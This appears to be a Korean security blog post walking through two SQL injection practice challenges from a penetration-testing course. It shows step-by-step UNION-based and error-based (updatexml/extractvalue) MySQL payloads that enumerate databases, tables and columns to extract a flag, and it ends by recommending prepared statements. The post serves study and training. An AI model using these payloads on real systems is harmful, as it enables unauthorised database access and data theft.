안녕하세요! 오늘은 노말틱님께서 만드신 1,2번 문제 풀이를 해보려고 합니다!
시작하죠
.
.
.
.
만약 SQLi 공격하는 방법을 잘 모르신다면
https://mynameisarke.tistory.com/25
[노말틱 모의 해킹 취업반 4주차 해킹과제] Error Based SQLi, SQL Injection
안녕하세요! 이번에도 SQL Injection을 공부할 건데요 오늘은 SQL 질의문이 화면에 보이는 곳을 공격하는 연습할 겁니다! 예를 들자면 게시판도 있고 회원 정보(마이페이지), 주소검색 등등 있죠 저
mynameisarke.tistory.com
참고하시면 되요!
시작할게요
-1번
게시판이 있네요!
일단 간단하게 검색을 해보겠습니다.
ma만 쳤는데 mario가 나오고 normaltic도 나오네요!
그럼 sql문을 추측할 수 있겠네요!
Step 1.
SQL문을 대강 추측하면 select ~~ from ~~ where ~~ = '% %' 이겠네요
Step 2.
SQLi 공격이 통하는지 한번 AND '1%'='1 넣어보겠습니다
ma%' AND '1%'='1
Step 3.
이제 union을 이용한 공격을 할 건데 칼럼 수가 몇개인지 알아내야 합니다.
order by 사용하겠습니다.
ma%' order by 4#
ma%' order by 5#
그럼 컬럼 수가 4개인 것을 알 수 있습니다.
Step 4.
데이터가 어디에 화면에 나오는지 확인해 보겠습니다.
ma%' union select'1','2','3','4
Step 5
데이터베이스 추출하기
select database() 이용하겠습니다.
ma%' union select '1',database(),'3','4
이름이 나왔네요!
Step 6
이제 테이블 이름 추출하겠습니다.
select table_name from information_schema.tables where table_schema = '[데이터베이스 이름]'
이용하겠습니다.
ma%' union select '1',table_name,'3','4' from information_schema.tables where table_schema = 'sqli_1' #information_schema.tables where table_schema = 'sqli_1'#
flag_table을 찾았네요!
Step 7
이제 칼럼 명을 추출하겠습니다.
select column_name from information_schema.columns where table_name='[테이블명]'
이용하겠습니다.
ma%' union select '1',column_name,'3','4' from information_schema.columns where table_name='flag_table' #
Step 8
마지막입니다 이제 데이터 추출하면 끝이네요!
ma%' union select '1',flag,'3','4' from flag_table #
.
.
.
.
.
.
좋아요 이제 2번으로 가겠습니다
한 번 로그인 시도 할 때 ' 특수기호를 넣어서 SQL 오류를 내보겠습니다.
데이터베이스 오류문이 나오네요!
그럼 SQLi의 공격이 통한다는 이야기입니다.
Step 1
추측을 해보겠습니다. pass는 해싱되니 상관이 없고요.
그럼 ID는 아마 select ~~ from ~~=' ' 이겠네요!
Step 2
이제 SQLi도 통하고 오류 구문을 자세히 봐보겠습니다.
SQL syntax 보니 SQL 구문 오류이고요 MYSQL을 사용한다고 적혀있습니다.
Step 3
이제 공격 틀을 만들겠습니다!
저는 undatexml을 이용하겠습니다.
1' and updatexml(null,concat(0x3a,'test'),null) and '1' = '1
물론 Extractvalue 을 이용학 셔도 됩니다!
틀은 설명 해드리겠습니다. 1' and extractvalue(0x0a,concat(0x0a,concat(0x0a,(우리가 실행할 쿼리문)))
이렇게 쓰시면 됩니다.
저는 updatexml을 사용하겠습니다.
Step 4
데이터베이스 이름 추출하기
select database() 이용하겠습니다.
1' and updatexml(null,concat(0x3a,(select database())),null) and '1' = '1
Step 5
이제 테이블 이름을 꺼내겠습니다.
select table_name from information_schema.tables where table_schema = '[데이터베이스 이름]'
이용하면 되겠죠?
1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2')),null) and '1' = '1
그럼 limit을 설정해서 테이블 이름을 꺼내겠습니다.
1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2' limit 0,1)),null) and '1' = '1
저희가 원하는 답이 들어있는 flag_table을 찾았습니다.
Step 6
이제 칼럼명을 찾으면 되겠네요!
select column_name from information_schema.columns where table_name='[테이블이름]'
이용하면 되겠죠
1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='flag_table')),null) and '1' = '1
Step 7
이제 데이터 추출만 하면 끝이네요!
1' and updatexml(null,concat(0x3a,(select flag from flag_table)),null) and '1' = '1
이렇게 하면 나오네요! 만약 또 한 줄 이상 있다고 나오면 limit을 설정해서 찾으면 되겠죠!
.
.
.
.
오늘은 간단한 sqli 하는 방법을 보여드렸습니다.
다음에 봬요! 미세먼지 조심하시고요
꼭 PreparedStatement을 사용합시다
'보안지식 > SQL' 카테고리의 다른 글
SQL injection Oracle 양식 (0) | 2023.08.23 |
---|---|
[노말틱 모의 해킹 취업반 6주차 해킹과제] Blind SQL Injection Python(POST방식) (0) | 2023.05.07 |
[노말틱 모의 해킹 취업반 5주차 해킹과제] SQLi 문제 풀이(3문제) (0) | 2023.04.30 |
[노말틱 모의 해킹 취업반 5주차 해킹과제] Blind SQLi (1) | 2023.04.28 |
[노말틱 모의 해킹 취업반 4주차 해킹과제] Error Based SQLi, SQL Injection (2) | 2023.04.21 |